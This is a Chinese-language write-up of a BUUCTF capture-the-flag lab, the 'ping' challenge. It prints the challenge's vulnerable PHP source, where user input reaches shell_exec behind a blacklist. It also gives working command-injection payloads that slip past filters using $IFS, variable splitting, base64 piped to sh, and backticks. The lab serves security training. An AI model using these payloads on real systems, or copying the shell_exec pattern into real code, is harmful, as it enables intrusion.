环境
BUUCTF在线环境,启动靶机,获取链接。
http://2a75a4ba-d141-403c-b4f6-7fba7cd0d13d.node4.buuoj.cn:81/
解题思路
访问链接,有提示有ip参数,题目名又是ping,所以猜测考点是命令执行。
先看看ping www.baidu.com
的结果。
根据结果,我们判断的不错,是ping命令执行。可以通过管道符执行多条语句。
先试试127.0.0.1|whoami
|
是将前面命令执行的结果输出作为后面命令的输入,进而可以执行whoami
命令。
继续看看当前目录有什么文件。
127.0.0.1|ls
发现flag了,难道可以直接读取了吗?
试试看:127.0.0.1|cat flag.php
根据回显可以知道还是有过滤的,过滤空格。
但是我们可以通过$IFS$9
、''
等来绕过空格。
但是过滤了符号,再试试另一个。
空格绕过了,但是还过滤了flag关键词。
经测试发现双写,通配符都过滤了,但是通过拆分变量可以绕过关键词绕过。
127.0.0.1;b=g;cat$IFS$9fla$b.php
flag藏在注释里面。。。。
最后看其他师傅的wp,发现我这是运气爆棚刚好就拆分变量猜对了,其他的都被过滤了,可以查看inde.php文件看到有哪些过滤。
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
其他payload:
;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
;cat$IFS$1`ls`
;a=f;d=ag;c=l;cat$IFS$a$c$d.php
总结
注意细节,其他文件也需要看看;源码要看,不能只看页面回显;命令执行变量拼接;过滤 bash 用 sh 执行;内联执行,将反引号内命令的输出作为输入执行;空格绕过姿势;关键词过滤还可以编码绕过。
参考
https://blog.csdn.net/sinat_34761046/article/details/114698231
https://www.cnblogs.com/xhds/p/12587249.html